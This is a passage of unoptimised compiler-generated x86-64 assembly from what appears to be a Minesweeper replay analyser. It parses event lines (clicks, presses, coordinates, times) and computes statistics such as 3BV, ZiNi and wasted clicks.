movq _cur_time@GOTPCREL(%rip), %rax
imull $10, (%rax), %ecx
movl -1844(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1844(%rbp)
movslq %eax, %rdx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rdx), %eax
addl %eax, %ecx
subl $48, %ecx
movq _cur_time@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
jmp LBB49_141
LBB49_145: ## in Loop: Header=BB49_112 Depth=1
movq _cur_time@GOTPCREL(%rip), %rax
imull $1000, (%rax), %ecx ## imm = 0x3E8
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rdx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rdx), %eax
subl $48, %eax
imull $100, %eax, %eax
addl %eax, %ecx
movl -1844(%rbp), %eax
addl $2, %eax
movslq %eax, %rdx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rdx), %eax
subl $48, %eax
imull $10, %eax, %eax
addl %eax, %ecx
movq _cur_time@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -1844(%rbp), %eax
addl $3, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %edi
callq _isdigit
cmpl $0, %eax
je LBB49_147
## %bb.146: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $3, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %ecx
subl $48, %ecx
movq _cur_time@GOTPCREL(%rip), %rax
addl (%rax), %ecx
movq _cur_time@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB49_147: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_148
LBB49_148: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movl -1844(%rbp), %eax
addl $1, %eax
movl %eax, -1844(%rbp)
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -1979(%rbp) ## 1-byte Spill
je LBB49_150
## %bb.149: ## in Loop: Header=BB49_148 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1979(%rbp) ## 1-byte Spill
LBB49_150: ## in Loop: Header=BB49_148 Depth=2
movb -1979(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_151
jmp LBB49_152
LBB49_151: ## in Loop: Header=BB49_148 Depth=2
jmp LBB49_148
LBB49_152: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_153
LBB49_153: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movl -1844(%rbp), %eax
addl $1, %eax
movl %eax, -1844(%rbp)
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -1980(%rbp) ## 1-byte Spill
jne LBB49_155
## %bb.154: ## in Loop: Header=BB49_153 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1980(%rbp) ## 1-byte Spill
LBB49_155: ## in Loop: Header=BB49_153 Depth=2
movb -1980(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_156
jmp LBB49_157
LBB49_156: ## in Loop: Header=BB49_153 Depth=2
jmp LBB49_153
LBB49_157: ## in Loop: Header=BB49_112 Depth=1
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB49_159
## %bb.158: ## in Loop: Header=BB49_112 Depth=1
movq _cur_time@GOTPCREL(%rip), %rax
movl $0, (%rax)
LBB49_159: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
cmpl -1840(%rbp), %eax
jl LBB49_161
## %bb.160: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_161: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $108, %eax
jne LBB49_169
## %bb.162: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $114, %eax
jne LBB49_164
## %bb.163: ## in Loop: Header=BB49_112 Depth=1
leaq _left_click(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_168
LBB49_164: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $99, %eax
jne LBB49_166
## %bb.165: ## in Loop: Header=BB49_112 Depth=1
leaq _left_press(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_167
LBB49_166: ## in Loop: Header=BB49_112 Depth=1
leaq L_.str.83(%rip), %rdi
callq _error
LBB49_167: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_168
LBB49_168: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_222
LBB49_169: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $114, %eax
jne LBB49_177
## %bb.170: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $114, %eax
jne LBB49_172
## %bb.171: ## in Loop: Header=BB49_112 Depth=1
leaq _right_click(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_176
LBB49_172: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $99, %eax
jne LBB49_174
## %bb.173: ## in Loop: Header=BB49_112 Depth=1
leaq _right_press(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_175
LBB49_174: ## in Loop: Header=BB49_112 Depth=1
leaq L_.str.83(%rip), %rdi
callq _error
LBB49_175: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_176
LBB49_176: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_221
LBB49_177: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $109, %eax
jne LBB49_191
## %bb.178: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $118, %eax
jne LBB49_180
## %bb.179: ## in Loop: Header=BB49_112 Depth=1
leaq _mouse_move(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_190
LBB49_180: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $114, %eax
jne LBB49_182
## %bb.181: ## in Loop: Header=BB49_112 Depth=1
leaq _middle_click(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_189
LBB49_182: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $99, %eax
jne LBB49_184
## %bb.183: ## in Loop: Header=BB49_112 Depth=1
leaq _middle_press(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_188
LBB49_184: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $116, %eax
jne LBB49_186
## %bb.185: ## in Loop: Header=BB49_112 Depth=1
leaq _toggle_question_mark_setting(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_187
LBB49_186: ## in Loop: Header=BB49_112 Depth=1
leaq L_.str.83(%rip), %rdi
callq _error
LBB49_187: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_188
LBB49_188: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_189
LBB49_189: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_190
LBB49_190: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_220
LBB49_191: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $115, %eax
jne LBB49_203
## %bb.192: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $116, %eax
jne LBB49_194
## %bb.193: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_194: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $120, %eax
je LBB49_196
## %bb.195: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $121, %eax
jne LBB49_197
LBB49_196: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_197: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $99, %eax
jne LBB49_199
## %bb.198: ## in Loop: Header=BB49_112 Depth=1
leaq _left_press_with_shift(%rip), %rax
movq %rax, -1856(%rbp)
jmp LBB49_200
LBB49_199: ## in Loop: Header=BB49_112 Depth=1
leaq L_.str.83(%rip), %rdi
callq _error
LBB49_200: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_201
LBB49_201: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_202
LBB49_202: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_219
LBB49_203: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $119, %eax
jne LBB49_205
## %bb.204: ## in Loop: Header=BB49_112 Depth=1
movl $1, -1808(%rbp)
jmp LBB49_218
LBB49_205: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $98, %eax
jne LBB49_208
## %bb.206: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $108, %eax
jne LBB49_208
## %bb.207: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_208: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $98, %eax
jne LBB49_211
## %bb.209: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $111, %eax
jne LBB49_211
## %bb.210: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_211: ## in Loop: Header=BB49_112 Depth=1
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $110, %eax
jne LBB49_214
## %bb.212: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $111, %eax
jne LBB49_214
## %bb.213: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_214: ## in Loop: Header=BB49_112 Depth=1
leaq L_.str.83(%rip), %rdi
callq _error
## %bb.215: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_216
LBB49_216: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_217
LBB49_217: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_218
LBB49_218: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_219
LBB49_219: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_220
LBB49_220: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_221
LBB49_221: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_222
LBB49_222: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_223
LBB49_223: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movl -1844(%rbp), %eax
addl $1, %eax
movl %eax, -1844(%rbp)
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $40, %ecx
movb %al, -1981(%rbp) ## 1-byte Spill
je LBB49_225
## %bb.224: ## in Loop: Header=BB49_223 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1981(%rbp) ## 1-byte Spill
LBB49_225: ## in Loop: Header=BB49_223 Depth=2
movb -1981(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_226
jmp LBB49_227
LBB49_226: ## in Loop: Header=BB49_223 Depth=2
jmp LBB49_223
LBB49_227: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_228
LBB49_228: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movl -1844(%rbp), %eax
addl $1, %eax
movl %eax, -1844(%rbp)
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %edi
callq _isdigit
movl %eax, %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -1982(%rbp) ## 1-byte Spill
jne LBB49_230
## %bb.229: ## in Loop: Header=BB49_228 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1982(%rbp) ## 1-byte Spill
LBB49_230: ## in Loop: Header=BB49_228 Depth=2
movb -1982(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_231
jmp LBB49_232
LBB49_231: ## in Loop: Header=BB49_228 Depth=2
jmp LBB49_228
LBB49_232: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
subl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $45, %eax
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -1868(%rbp)
movl $0, -1860(%rbp)
LBB49_233: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %edi
callq _isdigit
movl %eax, %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -1983(%rbp) ## 1-byte Spill
je LBB49_235
## %bb.234: ## in Loop: Header=BB49_233 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1983(%rbp) ## 1-byte Spill
LBB49_235: ## in Loop: Header=BB49_233 Depth=2
movb -1983(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_236
jmp LBB49_237
LBB49_236: ## in Loop: Header=BB49_233 Depth=2
imull $10, -1860(%rbp), %eax
movl -1844(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -1844(%rbp)
movslq %ecx, %rdx
movq _event@GOTPCREL(%rip), %rcx
movsbl (%rcx,%rdx), %ecx
addl %ecx, %eax
subl $48, %eax
movl %eax, -1860(%rbp)
jmp LBB49_233
LBB49_237: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_238
LBB49_238: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movl -1844(%rbp), %eax
addl $1, %eax
movl %eax, -1844(%rbp)
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %edi
callq _isdigit
cmpl $0, %eax
setne %al
xorb $-1, %al
testb $1, %al
jne LBB49_239
jmp LBB49_240
LBB49_239: ## in Loop: Header=BB49_238 Depth=2
jmp LBB49_238
LBB49_240: ## in Loop: Header=BB49_112 Depth=1
cmpl $0, -1868(%rbp)
je LBB49_242
## %bb.241: ## in Loop: Header=BB49_112 Depth=1
xorl %eax, %eax
subl -1860(%rbp), %eax
movl %eax, -1860(%rbp)
LBB49_242: ## in Loop: Header=BB49_112 Depth=1
movl -1844(%rbp), %eax
subl $1, %eax
movslq %eax, %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %eax
cmpl $45, %eax
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -1872(%rbp)
movl $0, -1864(%rbp)
LBB49_243: ## Parent Loop BB49_112 Depth=1
## => This Inner Loop Header: Depth=2
movslq -1844(%rbp), %rcx
movq _event@GOTPCREL(%rip), %rax
movsbl (%rax,%rcx), %edi
callq _isdigit
movl %eax, %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -1984(%rbp) ## 1-byte Spill
je LBB49_245
## %bb.244: ## in Loop: Header=BB49_243 Depth=2
movl -1844(%rbp), %eax
cmpl -1840(%rbp), %eax
setl %al
movb %al, -1984(%rbp) ## 1-byte Spill
LBB49_245: ## in Loop: Header=BB49_243 Depth=2
movb -1984(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB49_246
jmp LBB49_247
LBB49_246: ## in Loop: Header=BB49_243 Depth=2
imull $10, -1864(%rbp), %eax
movl -1844(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -1844(%rbp)
movslq %ecx, %rdx
movq _event@GOTPCREL(%rip), %rcx
movsbl (%rcx,%rdx), %ecx
addl %ecx, %eax
subl $48, %eax
movl %eax, -1864(%rbp)
jmp LBB49_243
LBB49_247: ## in Loop: Header=BB49_112 Depth=1
cmpl $0, -1872(%rbp)
je LBB49_249
## %bb.248: ## in Loop: Header=BB49_112 Depth=1
xorl %eax, %eax
subl -1864(%rbp), %eax
movl %eax, -1864(%rbp)
LBB49_249: ## in Loop: Header=BB49_112 Depth=1
movq -1856(%rbp), %rax
movq %rax, -1992(%rbp) ## 8-byte Spill
movl -1860(%rbp), %eax
cltd
idivl -1804(%rbp)
movl %eax, %edi
movl -1864(%rbp), %eax
cltd
idivl -1804(%rbp)
movl %eax, %esi
movq -1992(%rbp), %rax ## 8-byte Reload
movl -1860(%rbp), %edx
movl -1864(%rbp), %ecx
callq *%rax
LBB49_250: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_251
LBB49_251: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_252
LBB49_252: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_253
LBB49_253: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_254
LBB49_254: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_255
LBB49_255: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_256
LBB49_256: ## in Loop: Header=BB49_112 Depth=1
jmp LBB49_112
LBB49_257:
cmpl $0, _end_time(%rip)
jne LBB49_259
## %bb.258:
movq _cur_time@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, _end_time(%rip)
LBB49_259:
movl $0, -1748(%rbp)
movq _l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _r_clicks@GOTPCREL(%rip), %rcx
addl (%rcx), %eax
movq _d_clicks@GOTPCREL(%rip), %rcx
addl (%rcx), %eax
movl %eax, -1876(%rbp)
movq _wasted_l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _wasted_r_clicks@GOTPCREL(%rip), %rcx
addl (%rcx), %eax
movq _wasted_d_clicks@GOTPCREL(%rip), %rcx
addl (%rcx), %eax
movl %eax, -1880(%rbp)
movl -1876(%rbp), %eax
subl -1880(%rbp), %eax
movl %eax, -1884(%rbp)
movq _solved_bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
movq _bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -1896(%rbp)
cvtsi2sdl _end_time(%rip), %xmm0
movsd LCPI49_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _solved_bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
divsd -1376(%rbp), %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _gzini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _gzini@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _solved_bbbv@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
cvtsi2sd %eax, %xmm0
movq _bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm1
mulsd -1376(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _hzini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _hzini@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _solved_bbbv@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
cvtsi2sd %eax, %xmm0
movq _bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm1
mulsd -1376(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1876(%rbp), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _r_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movl -1880(%rbp), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _wasted_l_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _wasted_r_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _clicks_15@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
movq _solved_bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
cvtsi2sdl -1876(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
cvtsi2sdl -1884(%rbp), %xmm0
cvtsi2sdl -1876(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _solved_bbbv@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
cvtsi2sdl -1884(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _gzini@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
mulsd -1896(%rbp), %xmm0
cvtsi2sdl -1876(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _gzini@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
mulsd -1896(%rbp), %xmm0
cvtsi2sdl -1884(%rbp), %xmm1
divsd %xmm1, %xmm0
